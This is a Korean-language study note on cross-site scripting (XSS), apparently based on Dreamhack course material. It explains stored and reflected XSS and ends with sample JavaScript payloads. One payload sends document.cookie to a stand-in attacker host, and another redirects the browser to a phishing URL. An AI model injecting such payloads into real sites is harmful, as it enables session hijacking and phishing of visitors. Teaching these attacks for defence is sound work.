공격자가 웹 리소스에 악성 스크립트를 삽입하여, 이를 방문하는 이용자의 웹 브라우저에서 해당 스크립트를 실행시키는 공격

• 클라이언트 사이드 취약점의 대표적인 공격
• 이를 통해 특정 계정의 세션 정보를 탈취하고 해당 계정으로 임의의 기능을 수행할 수 있음.

<aside>

예시

드림핵 웹 페이지에서 XSS 취약점이 존재하면, 이용자가 악성 스크립트가 포함된 페이지를 방문하면 공격자가 임의로 삽입한 스크립트가 실행되어 쿠키 및 세션이 탈취될 수 있다.

</aside>

XSS 발생 예시와 종류

XSS 공격은 주로 이용자가 삽입한 내용을 출력하는 기능에서 발생함.

• 예: 로그인 시 출력되는 “안녕하세요, OO 회원님”과 같은 문구 등

클라이언트(웹 브라우저)는 HTTP 형식으로 웹 서버에 리소스를 요청하고 서버로부터 받은 응답( = HTML, CSS, JS 등의 웹 리소스)을 시각화하여 이용자에게 보여줌. 이때 XSS 취약점이 존재하는 경우, 악의적인 코드가 삽입된 HTML, CSS, JS와 같은 리소스가 이용자에게 전송되어, 변조된 페이지를 보게 하거나 해당 스크립트를 강제로 실행시킬 수 있음.

XSS의 발생 형태에 따른 종류

주로 발생하는 XSS

• Stored XSS: 악성 스크립트가 데이터베이스, 파일 형태로 서버에 저장되어 있어, 이용자가 이를 조회할 때 발생.
  • e.g., 게시물과 댓글에 악성 스크립트를 포함해 업로드하는 방식
• Reflected XSS: 악성 스크립트가 이용자 요청 내에 존재, 서버가 그 요청에 대해 응답할 때 악성 스크립트가 담긴 요청을 출력하면서 발생.
  • e.g., 게시판 서비스에서 작성된 게시물을 조회용 검색창에 스크립트를 포함해 검색하는 방식. (일부 서비스에서는 검색 결과를 응답에 포함하는데, 검색 문자열에 악성 스크립트가 포함되어 있다면 Reflected XSS 발생할 수 있음.)
  • 이용자의 요청에 의해 발생. → 공격을 위해선 이용자가 악성 스크립트가 포함된 링크에 접속하도록 유도해야 함. → 주로 Clicking Jacking, Open Redirect 등의 취약점과 연계하여 사용함.

XSS 스크립트 예시

• 자바스크립트
  • 웹 문서의 동작을 정의함. 이용자가 버튼 클릭 시에 어떤 이벤트를 발생시킬지와, 데이터 입력 시에 해당 데이터를 전송하는 이벤트를 구현할 수 있음.
  • 이용자와의 상호작용 없이 이용자의 권한으로 정보를 조회하거나 변경하는 등의 행위도 가능함. (이용자를 식별하기 위한 세션 및 쿠키가 웹 브라우저에 저장되어 있기 때문.)

⇒ 따라서 공격자는 자바스크립트를 통해 이용자에게 보여지는 웹 페이지를 조작하거 웹 브라우저의 위치를 임의의 주소로 변경할 수 있음.

자바스크립트를 이용한 XSS 공격 코드 예시

<script>
alert("hello"); // "hello" 문자열 alert 실행
document.cookie; // 현재 페이지의 쿠키(return type: string)
alert(document.cookie); // 현재 페이지의 쿠키를 인자로 가진 alert 실행
document.cookie = "name=test;";
new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
</script>

<script>
document; // 이용자의 페이지 정보에 접근
document.write("Hacked By Dreamhack!"); // 이용자의 페이지에 데이터를 삽입
</script>

<scrpit>
location.href = "http://hacker.dreamhack.io/phishing"; // 이용자의 위치를 변경 --> 피싱 공격 등으로 사용됨
window.open("http://hacker.dreamhack.io/") // 새 창 열기
</script>